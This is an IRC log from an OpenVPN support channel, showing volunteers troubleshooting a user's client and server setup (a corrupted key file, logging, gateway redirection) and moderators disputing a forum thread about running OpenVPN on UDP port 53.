15:25 < akselii> aand thats what i get
15:25 <+pekster> Is it running "as administrator" rights if you're UAC-enabled?
15:26 < akselii> i shouldnt have UAC enabled
15:26 < akselii> but ill run it as admin
15:26 <+pekster> Without UAC that's unnecessary. fwiw, you can check with: reg.exe query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
15:26 <+pekster> 0x1 is on, 0x0 is off
15:27 < akselii> i deleted the whole log
15:27 < akselii> im trying again
15:28 -!- kossy [a@kossy.org] has quit [Read error: Connection reset by peer]
15:28 < akselii> very nice, now that i deleted the client.log it does not say anything
15:28 <+pekster> !learn UAC as On Windows >=Vista, you can check if UAC is on (0x1) or off (0x0) with this command: reg.exe query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
15:28 < akselii> completelly empty
15:28 <@vpnHelper> Joo got it.
15:28 <+pekster> akselii: Start it from a terminal then to see what's up
15:28 -!- kossy_ [a@kossy.org] has joined #openvpn
15:28 <+pekster> openvpn.exe -config c:\path\to\your\config.ovpn
15:28 <+pekster> --config
15:29 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
15:29 < akselii> nice stuff
15:30 < akselii> seems i got some unregocnized option or missing params :P
15:31 < akselii> thanks pekster, i love ya
15:31 < akselii> now i got an true error message
15:32 < akselii> shitty errors like that shut
15:32 < akselii> suck
15:32 <+pekster> What was the error?
15:32 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:32 -!- mattock is now known as mattock_afk
15:33 <+pekster> Oh, I bet the bad option caused it to exit before the log was opened
15:33 < akselii> i guess so
15:33 < akselii> now i got an private-key-password-failure
15:33 < akselii> so it reads the keys right
15:33 < akselii> now my certs just suck
15:34 <+pekster> Post your config somewhere
15:34 <+pekster> Or do you mean you haven't specified the right password?
15:34 <+pekster> Without the passphrase, your private key is worthless ;)
15:34 < akselii> i know, but where should i put it?
15:34 <+pekster> "put" it??
15:34 <+pekster> You type it when prompted
15:34 < akselii> the openvpn gui never asks for it
15:35 < akselii> it just says that
15:35 <+pekster> Config/error log please
15:35 <+pekster> !configs
15:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:35 <+pekster> !logs
15:35 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:35 < akselii> http://pastebin.com/DDpHHWJZ
15:36 < akselii> just the example configs
15:39 <+pekster> What's the first line in the client.key file (the header line)
15:40 < akselii> what the fuck
15:40 < akselii> its an XML file
15:40 < akselii> with 403 forbidden
15:40 <+pekster> You'll need to fix that
15:40 < akselii> dear god i need to generate new client certs
15:44 -!- novaflash is now known as novaflash_away
15:44 -!- novaflash_away is now known as novaflash
15:45 < akselii> lets see how these new certs work then :P
15:45 < akselii> takes a while since damn sftp wont work :E
15:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:55 < mattsl> pekster: Thanks again for your help last night. It turns out the main issue I had was actually just that missing iroute option. After fixing that it was routing issues because the static routes I defined had gotten removed between interfaces going up and down.
15:56 <+pekster> That's part of why it's usually more convenient to let openvpn handle the routes
15:56 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
15:57 < mattsl> Yeah. I got it all working. I just need to go in now and figure out how to get them all set up. Also, the OpenVPN server isn't the gateway for all the devices on one of the sides. But mostly I need to go learn what iroute is. :-)
15:58 <+pekster> There are some resources/links at !route
15:58 < mattsl> ok. Thanks
15:58 <+pekster> Basically, --route is how you add a route to the kernel (your OS) while --iroute is how you tell an openvpn server which _client_ is responsible for the network
15:59 <+pekster> OpenVPN can't do squat with a client-LAN-bound packet unless it knows to which client it belongs. That's the job of --iroute
16:16 -!- AginLap [~AginLap@109.201.152.243] has quit [Ping timeout: 244 seconds]
16:26 -!- satdav [~David@firefox/community/satdav] has joined #openvpn
16:27 -!- master_o1_master [~master_of@p4FF24CEF.dip0.t-ipconnect.de] has joined #openvpn
16:31 -!- master_of_master [~master_of@p4FD7B443.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
16:36 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
16:39 < akselii> i think i had an problem with the easy-rsa scripts
16:39 < akselii> i cloned the latest git version and it takes a while to generate stuff
16:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
16:56 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
17:02 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
17:02 -!- mode/#openvpn [+o debbie10t] by ChanServ
17:04 <@debbie10t> just modding the final outstanding approvals on the forum .. they are all more interested in promoting their own products so i was just gonna disapprove them all .. art we all ok with that ?
17:05 <+pekster> Use your judgement there, yea. The only place any "provider" crap belongs is possibly the "service reviews" forum, and the rules are clearly stated there. "2) This is not a free advertisement for providers, but a place to review those providers"
17:06 <@debbie10t> cheers peckster .. i have been told to be ruthless but i am still too soft .. not for long though ;)
17:07 <@debbie10t> i don't think we want to be promoting house clearance in london uk
17:07 < akselii> pekster: still here? i did a new "build-key client" easy-rsa thingy
17:07 < akselii> sitll got the 403 forbidden thingy
17:07 < akselii> any ideas?
17:08 <+pekster> akselii: Learn to transfer files properly?
17:08 < akselii> yeah
17:08 <+pekster> Or better yet, generate your keypair locally so you don't "403" it from anywhere
17:08 < akselii> i think thats the problem
17:08 < akselii> :D
17:08 < akselii> im really sorry again
17:08 <+pekster> #openvpn helps with openvpn, not whwatever crappy file transfer program/protocol you're using
17:08 < akselii> yes yes
17:08 < akselii> sorry mate
17:08 < akselii> you are so right
17:09 <+pekster> No big deal, but to be quite blunt, if basics like copying a file are this hard for you, running any VPN might be a bit outside your technical range without more reading
17:09 < akselii> pekster: not really
17:10 < akselii> i have to admit
17:10 < akselii> im bit drunk here, so my shit is bit wonky at the moment
17:14 <@EugeneKay> !beet
17:14 <@EugeneKay> !beer
17:14 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
17:14 <@debbie10t> bad time to be pressin buttons if yr pissed
17:15 <+pekster> debbie10t: That's what VCS is for!
17:15  * debbie10t is googlin VCS
17:15 < akselii> yeah it seems i can kinda connect now, it says "MANAGEMENT: >STATE:1384038870,WAIT,," and then it restarts the whole connection thing again?
17:15 < akselii> TLS handshake failed
17:16 <+pekster> crystal ball says the TLS handshake failed for some reason
17:16 < Thermi> ^
17:17  * debbie10t guesses pekster does not mean verfied carbon standard ;)
17:17 <+pekster> Version Control System
17:17  * debbie10t can't find her crystal ball ???
17:17 <+pekster> !crystal
17:17 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
17:18 <@debbie10t> lol .. great minds ;)
17:19 <@EugeneKay> ....still taste like brainz
17:19 <@debbie10t> meaty !
17:19 < akselii> http://pastebin.com/YaX7qPX2 heres some logs ;I
17:20 < akselii> firewalls etc. have been configed to allow openvpn to pass and so on
17:20 <+pekster> akselii: Much  more useful. Lin 15 shows that it's a timeout waiting for reply data. Looks like a firewall, though without logs at verb 4 it's hard to sugget where
17:20 <@debbie10t> https://forums.openvpn.net/topic14114.html
17:20 <@vpnHelper> Title: OpenVPN Support Forum New Moderator: debbie10t : Off Topic, Related (at forums.openvpn.net)
17:20 <+pekster> Apparently not, since you get no packets back
17:20 <+pekster> You have a firewall or routing problem that prevents packets from being delivered (or your remote service isn't listening properly, or your port/protocal config is wrong)
17:21 < akselii> huh
17:21 < akselii> i think my home computer (the client) might have some problems with that
17:22 < akselii> but i have allowed all ports to openvpn.exe and so on
17:23 < akselii> the server is an dedicated server so it shouldnt have any blocked ports
17:24 <@debbie10t> @akselii turn off yr firewall completely until you get openvpn working then turn it on .. also u did admit yr drunk !
17:24 < akselii> i know
17:25 < akselii> and i have disabled my firewall
17:25 < akselii> No difference
17:26 <@debbie10t> Sun Nov 10 01:14:28 2013 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity
17:26 <@debbie10t> sure you pluggeds it in ?
17:26 < akselii> i can talk to you, yeah? :P
17:27 < akselii> the server is in france so i cant really confirm its connected to internet other than that im connected to it with ssh and im talking to you with irssi thats running on the server
17:27 <@debbie10t> sure .. we can give pekster a break
17:27 <@debbie10t> i realise its all plugged in btw
17:27 < akselii> :)
17:27 <@debbie10t> do u have a paste of yr configs ?
17:28 < akselii> well, they are just the example configs with filenames changed
17:28 < akselii> but i can paste em
17:28 <@debbie10t> go for it
17:29 < akselii> http://pastebin.com/aqvaCTsr
17:29 < akselii> thats the client
17:29 < akselii> want the server?
17:30 <@debbie10t> hold on
17:30 < akselii> but i can say there is some problems with the clients ISP
17:30 <@debbie10t> you are using C: like windows but u have "/" LIKE UNIX IN YOUR CERTIFICATE PATHS .. HOW COME ?
17:31 < akselii> i tried the \\ too
17:31 < akselii> it can read the files no problem
17:31 <+pekster> debbie10t: Forward slashes work with the win32 API
17:31 <@debbie10t> ok .. i just learned something ! :)
17:32 <@debbie10t> better paste the server please
17:33 < akselii> sec
17:33 <+pekster> Quite frankly, without logs at --verb 5 from both ends it's tough to say what the problem is. Still haven't seen usable logs from the other side yet IIRC
17:33 <+pekster> Of course, !logs already said that, so I'm content to wait until those magically appear. 4th time's not usually the charm
17:34 <@debbie10t> akselii - pekster is always right :)
17:34 <+pekster> (of course, we've only had 2 hours since I asked for them; these things take time you know)
17:34 <@debbie10t> fork me
17:35 <@debbie10t> upek u have the patience of a saint !
17:35 <+pekster> Depends on what else I'm doing at the time
17:35 < akselii> http://pastebin.com/KY2BpNZD
17:35 < akselii> the server configs without comments
17:36 < akselii> had to copypaste from nano :E
17:37 < akselii> should be pretty basic, yeah?
17:37 <@debbie10t> very basic so far ..
17:37 < akselii> im trying to find the openvpn log file on the server but i have no idea where it is
17:38 < akselii> not in /var/log for that matter
17:39 <@debbie10t> you can specify the log file with "log {filename}
17:39 <@debbie10t> in the config
17:40 <@debbie10t> add that to your configs and you will find them easy
17:40 <+pekster> !logfile
17:40 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
17:40 <+pekster> (which by the way was in the output of !log you apparently didn't read when I gave it to you hours ago.)
17:41 < akselii> huh
17:41 < akselii> lets try it then
17:41 <@debbie10t> !blame
17:41 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault (and sometimes the customers)
17:41 <@debbie10t> how come pekster is not on that list ?
17:42 <+pekster> All of my blame thesedays is prefixed with the command `git` ;)
17:42 <@dazo> debbie10t:  pekster weren't around when we added that one ... actually, we might need to update it ;-)
17:42 <@debbie10t> it should say something like "if in doubt, askj pekster who to blame" =]
17:43 <@debbie10t> hi dazo :)
17:43  * pekster will just point go the commit Signed-off-by and/or Acked-by fields :P
17:43 <+pekster> And if that's me, so be it :P
17:43 < akselii> that "log" thingy is awesome
17:44 < akselii> goddamn it really sucks stuff wont log normally
17:44 <+pekster> [citation needed]
17:44 <@debbie10t> akselii .. as you now see .. openvpn is awesome .. you just need to RTFM
17:46 < akselii> huh
17:46 < akselii> it says im on
17:46 < akselii> IM CONNECTEDF
17:46 < akselii> /o/ \o\
17:46 <@debbie10t> (.)(.)
17:47 < akselii> now to figure out how to pipe all connections trough the vpn
17:47 <+pekster> See: !redirect
17:47 < akselii> but yeah pekster, debbie10t, sorry guys, if i really just looked at the logs and the manual i would have solved this thing on my own
17:48 < akselii> !redirect
17:48 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:48 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
17:48 < akselii> whats going trough my vpn connection now?
17:48 <@debbie10t> oh well .. at least i flashed ui some boob
17:49 < akselii> the vpn says its active but im still connected to my servers ssh, and http traffic is going trough as normal
17:50 <@debbie10t> !log
17:50 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
17:50 -!- Guest61157 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
17:51 < akselii> !def1
17:51 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:53 < akselii> !ipforward
17:53 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
17:53 -!- satdav [~David@firefox/community/satdav] has quit [Read error: Connection reset by peer]
17:54 < akselii> !winipforward
17:54 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
18:06 < bjonnh> pekster: I don't know if you remembre my connection problem with my university, but it's resolved. They forgot to add me to the vlan !
18:07 <+pekster> The one where "it was their fault" and several of us told you such? :)
18:07 <+pekster> Glad "they" fixed it then
18:09 < bjonnh> pekster: this one yes ;)
18:20 <@debbie10t> well - thats it - no more guff outstanding .. yes i deleted some stuff
18:25 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:29 < akselii> hey guys, sorry to bother you again
18:29 < akselii> so i setup some sort of traffic redirect
18:30 < akselii> if i ask what ip i got from a web browser i get the servers ip (which i want) but i still cant connect to some places trough the vpn
18:33 < akselii> log /home/openvpn.log
18:33 < akselii> port 1194
18:33 < akselii> proto udp
18:33 < akselii> dev tun
18:33 < akselii> ca ca.crt
18:33 < akselii> cert server.crt
18:33 < akselii> key server.key  # This file should be kept secret
18:33 < akselii> dh dh2048.pem
18:33 < akselii> server 10.8.0.0 255.255.255.0
18:33 < akselii> ifconfig-pool-persist ipp.txt
18:33 < akselii> keepalive 10 120
18:33 < akselii> comp-lzo
18:33 < akselii> persist-key
18:33 < akselii> persist-tun
18:33 < akselii> status openvpn-status.log
18:33 < akselii> verb 3
18:33 < akselii> push "redirect-gateway def1"
18:33 < akselii> push "dhcp-option DNS 10.8.0.1"
18:33 < akselii> SHIT
18:33 < akselii> sorry
18:36 <@debbie10t> lol
18:40 <@debbie10t> is your server 10.8.0.1 ready to be a dns server ?
18:47 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
18:48 < akselii> should be
18:48 < akselii> but fuck it
18:48 < akselii> ill fix it laters
18:48 < akselii> thanks debbie10t, pekster <3
18:48 < akselii> have a good night yeah
18:48 <@debbie10t> l8r
18:50 <@debbie10t> Pekster is the master .. not me
18:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
18:56 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
19:11 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0/20131025151332]]
19:11 -!- Devastator [~devas@186.214.110.49] has quit [Changing host]
19:11 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:12 -!- fenris_kcf [~fenris@p549BC322.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
19:13 -!- debbie10t [~ma1com10t@host-92-20-86-80.as13285.net] has joined #openvpn
19:14 -!- mode/#openvpn [+o debbie10t] by ChanServ
19:14 <@debbie10t> I just want to check this final response is not to harsh
19:14 <@debbie10t> https://forums.openvpn.net/topic14137-15.html
19:14 <@vpnHelper> Title: OpenVPN Support Forum Forward port 53 to 1194 : Routing and Firewall Scripts - Page 2 (at forums.openvpn.net)
19:15 <@debbie10t> numb nut pm'd me aswell !!
19:20 <@debbie10t> its ok .. i am happy with it .. took out the profanity
19:20 <@debbie10t> sorry to bugz u
19:22 -!- debbie10t is now known as debbie10t_afk
19:23 <+pekster> Dunno if that really needed to be locked based on what I see there since firewall is in-scope for that forum. But if there's swearing, that's a different issue
19:24 <@debbie10t_afk> um .. i think the issue is he has a fully functional vpn
19:24 <@debbie10t_afk> but he wants it to work on upd 53
19:24 <+pekster> "routing and firewall scripts" is specifically a forum for firewalling & routing
19:24 <@debbie10t_afk> its not our problem
19:25 <+pekster> If that's why you locked the topic, I'd suggest that was a mistake. If it's becuase the OP was openly hostile, that's differnet
19:25 <@debbie10t_afk> he pm'd me
19:25 <+pekster> That enetire sub-forum is _designed_ to discuss firewall and routing scripts
19:25 <@debbie10t_afk> ok - but the vpn works .. the reason it does not work on udp 53 is the router
19:26 <@debbie10t_afk> i am all ears .. i just want to get it right
19:27 <@debbie10t_afk> i am quite happy to unlock .. but i don't see how it is openvpn that is at fault
19:27 <+pekster> The post is on-topic (for the 3rd time now)
19:27 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
19:27 <+pekster> "Scripts with setup, destroy, and modify routing tables and firewall rulesets for client connections."
19:28 <@debbie10t_afk> ok .. will unlock and moderate my reply .. but i am not helping any further on this one
19:28 <+pekster> If you locked it becuase it was "off-topic" or "unsupported", that is clearly not the case. If the OP's a prick, I don't care (and I don't really care that much anyway)
19:28 <+pekster> No harm in not replying if it's not something you can help with (in fact that's better than the alternative since someone else might come along that knows)
19:29 <@debbie10t_afk> pekster - yr the main man for me to get good advice .. sorry to bug you - i just want to do a good job
19:29 <@debbie10t_afk> thanks for the advice
19:30 <@debbie10t_afk> ok .. i will leave it unlocked .. i warned the user about pm's so all is in balance
19:31 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
19:31 <+pekster> Yup, hostile users need a warning or sometimes a ban for a bit to learn proper behaviour for when they come back
19:31 <+pekster> Some do learn with a warning though (and of course some don't)
19:33 <@debbie10t_afk> official warning done .. but i can live with the rest ..
19:37 <@debbie10t_afk> since i opened up DNS for a tun i get disconnected every day .. isp .. maybe coincedense but i'm not sure
19:37 <+pekster> No clue what that last part means. I've run OpenVPN on udp port 53, but that's got nothingn at all to do with DNS
19:38 <@debbie10t_afk> i have two router which absolutely will not allow udp 53 for anything one is netgear other is linksys
19:39 <@debbie10t_afk> they are old
19:39 <@debbie10t_afk> and the firmware is old
19:39 <@debbie10t_afk> but they absolutely will not allow udp 53 for open vpn
19:39 <@debbie10t_afk> the traffic does not even got out of the lan
19:40 <@debbie10t_afk> no log .. no nothin
19:41 <@debbie10t_afk> i have posted support regquests on both forums netgear/linksys and no replies for over a month
19:42 <@debbie10t_afk> i had a perfectly stable link on my isp for 8 months (talktalk) then i opened up udp 53 for open vpn test and now i get disconnected every night
19:42 <+pekster> Chances are good something else was up. I'm quite sure I've done that on SOHO stock-firmware linksys units
19:43 <@debbie10t_afk> i was with virgin for a long time aswell and exactly the same thing happened .. virgin even made me upgrade my router at their expense
19:43 <+pekster> Without more proper diagnostics, it's impossible to say
19:43 <@debbie10t_afk> there is nothing openvpn diags can do as the traffic is simply dropped by the routers .. end of
19:44 <@debbie10t_afk> this is in a lab setup - i have 100% control of traffic
19:44 <@debbie10t_afk> they will NOT pass udp 53 traffic
19:44 <+pekster> And what did you discover by doing low (and incrementing) TTL on the outbound requests that were dropped?
19:44 <+pekster> Did the first-hop reply with TTL=1?
19:44 <+pekster> Did you get an ICMP error in such a setup?
19:44 <+pekster> etc etc
19:44 <+pekster> Basic network diagnostic. Not openvpn diagnostic
19:44 <@debbie10t_afk> no icmp error
19:44 <+pekster> Did you try it with TTL=1??
19:44 <@debbie10t_afk> dropped and no more
19:45  * pekster sighs
19:45 <+pekster> I don't care about this either
19:45 <@debbie10t_afk> i can actually get the netgear to pass about 10 seconds of traffic if i force a reboot
19:45 <+pekster> If you post me hardware I might get curious enough to play around but I'm not offering suggestions by proxy on an OS/equipment I can't see. For all I know the firmware is FUBAR anyway
19:46 <+pekster> Better yet is to stop making life hard for yourself and just buy hardware that runs openwrt
19:46 <+pekster> Problem solved (and it'll run openvpn on the OS)
19:46 <+pekster> Most vendors make crap for embedded hardware
19:46 <+pekster> (well, for the OS anyway. The hardware can be okay)
19:46 <@debbie10t_afk> pekster - i understand u dont care - no prob - but openvpn is not here to trouble shoot routers which deliberately will not pass udp 53 .. mostlikely cos they use it for dns proxy
19:47 <@debbie10t_afk> that is why i closed that thread
19:47 <@debbie10t_afk> anyway - just passing on the info
19:47 <@debbie10t_afk> not hassling you
19:47 <@debbie10t_afk> your still uber cool
19:48 <@debbie10t_afk> openvpn even fksup juniper ns5gt .. but yr not interested
19:48 <@debbie10t_afk> chill
19:49 <@debbie10t_afk> thanks for yr help .. about the thread
19:49 <+pekster> The proper way to test something like this (for outbound path anyway) is something like `nmap -Pn -sU -p 53 --traceroute 8.8.8.8`
19:49 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
19:50 <@debbie10t_afk> i had ncat on it all day .. no luck#
19:51 <+pekster> That does something completely different
19:51 <+pekster> ##networking if you want help with basic traceroute skills
19:51 <+pekster> Or start with some reading on the wikipedia article on TTLs, or RFCs on IP if you want more technical descriptions
19:51 <@debbie10t_afk> hmm
19:52 <+pekster> ncat != traceroute utility
19:52 <@debbie10t_afk> i dont need to tracert .. i have the whole setup under lock'n key
19:52  * pekster sighs
19:53 <+pekster> Fine, then give up on defining the problem and whine to vendors about it
19:53 <@debbie10t_afk> hehehe
19:53 <@debbie10t_afk> i did .. they said nought
19:53 <+pekster> For all I know their OS hijacks all DNS requests; if the software sucks don't use it
19:53 <@debbie10t_afk> agreed
19:54 <@debbie10t_afk> the problem is - back to the OP- the fact that openvpn cannot be used on DNS unless you know exactly what yr doing
19:55 <+pekster> "on DNS" ??
19:55 <+pekster> It's not ON DNS
19:55 <+pekster> FFS
19:55 <@debbie10t_afk> depends how savvy yr isp is
19:55 <+pekster> Um, no
19:55 <+pekster> Only fucked up ISPs would have a problem with that
19:55 <+pekster> Maybe restricted networks you don't own abuse it, but if an ISP does, they're brain-dead
19:56 <+pekster> Again, stop making silly assumptions without the proper line of testing
19:56 <+pekster> Traceroutes would be how you do that
19:57 <@debbie10t_afk> i have a client pc over a router to a 10mb  shared hub to a router to a vpnserver
19:58 <@debbie10t_afk> i have another pc with wire shark on the shared hub
19:58 <@debbie10t_afk> all packets
19:58 <+pekster> And I'm telling you I run on udp/53 all the time. It works almost everywehre
19:58 <+pekster> Stop spewing FUD
19:58 <@debbie10t_afk> not one single packet gets out of router1 on udp 53
19:58 <+pekster> Then you have either 1) shitty firewalls or 2) shitty ISPs
19:58 <+pekster> (or maybe 3) both)
19:59 <@debbie10t_afk> i have a lab .. no isp and no firewall
19:59 <+pekster> Then you've screwed something up
19:59 <@debbie10t_afk> no .. the router will not allow udp 53 out
19:59 <+pekster> Then there _is_ a firewall doing something with it
19:59 <+pekster> Maybe NAT, maybe a firewall that "you dont' control"
20:00 <@debbie10t_afk> within the router there is no doubt some sort of block
20:00 <+pekster> "no firewall" is BS if it's hijacking/dropping/blocking your packet
20:00 <@debbie10t_afk> however
20:00 <+pekster> I don't care.
20:00 -!- mode/#openvpn [+o pekster] by ChanServ
20:00 <@pekster> Period.
20:00 -!- mode/#openvpn [-o pekster] by ChanServ
20:00 -!- mode/#openvpn [-v pekster] by ChanServ
20:00 <@debbie10t_afk> i beleive it is that the router is listening on udp 53 for dns to serve its clients proxy dbns
20:01 <@debbie10t_afk> so it is a limitation of the hardwarte
20:01 <@debbie10t_afk> i never said it was against the law
20:02 <@debbie10t_afk> the whole point of what i just said is that it will continue to be a problem for openvpn users who want to tunnel on udp 53 if retail routers do their job wrong
20:03 <@debbie10t_afk> and i absolutely can prove netgear and linksys models do
20:04 <@debbie10t_afk> netgear rp614v4
20:05 <@debbie10t_afk> linksys befsr41
20:05 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds]
20:05 <@debbie10t_afk> and i can prove that juniper os 5.xx (old) is bugged with udp fast path
20:06 <@debbie10t_afk> i am doing it now
20:16 <@debbie10t_afk> thus .. the whole point of supporting udp 53 with openvpn is moot as the hardware/isp inbetween cannot be trusted
20:16 <@debbie10t_afk> and so i closed a go nowhere thread
20:16 <@debbie10t_afk> which is now reopened for no legitimate reason
20:19 <@debbie10t_afk> knock yourself out .. but i bet you run into this issue soon
20:20 -!- debbie10t_afk [~ma1com10t@host-92-20-86-80.as13285.net] has left #openvpn []
20:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
20:57 -!- kossy_ is now known as kossy
21:02 -!- dazo is now known as dazo_afk
21:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
21:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:36 -!- xrosnight_ [~quassel@58.250.15.235] has joined #openvpn
22:36 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 268 seconds]
22:42 -!- xrosnight_ [~quassel@58.250.15.235] has quit [Ping timeout: 245 seconds]
22:46 -!- xrosnight [~quassel@58.250.15.235] has joined #openvpn
22:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
22:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 265 seconds]
23:02 -!- aegis [~aegis@184.75.212.34] has quit [K-Lined]
23:03 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
23:07 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
23:10 -!- xrosnight [~quassel@58.250.15.235] has quit [Ping timeout: 272 seconds]
23:15 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 248 seconds]
23:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
23:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:59 -!- Tera [~tera@unaffiliated/tera] has quit [Ping timeout: 272 seconds]
--- Day changed Sun Nov 10 2013
00:41 -!- halcyon_ [~halcyon@cpe-72-181-253-113.tx.res.rr.com] has joined #openvpn
00:41 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 272 seconds]
00:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
00:42 -!- halcyon__ [~halcyon@76.76.23.35] has joined #openvpn
00:45 -!- halcyon_ [~halcyon@cpe-72-181-253-113.tx.res.rr.com] has quit [Ping timeout: 248 seconds]
00:46 -!- Guest61157 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
00:51 -!- Guest61157 [~Mark@94-193-78-219.zone7.bethere.co.uk] has left #openvpn []
00:52 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
00:52 < mapps> hey
00:57 -!- halcyon__ is now known as heraclitus
00:57 -!- heraclitus [~halcyon@76.76.23.35] has quit [Changing host]
00:57 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
01:02 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
01:03 < bjonnh> ho
01:03 < mapps> :D
01:04 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
01:23 -!- davidmp [~davidmp@149.255.100.107] has quit [Quit: Cya suckers!]
01:30 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
01:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:56 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has joined #openvpn
02:01 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has quit [Ping timeout: 245 seconds]
02:06 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has joined #openvpn
02:10 -!- mattock_afk is now known as mattock
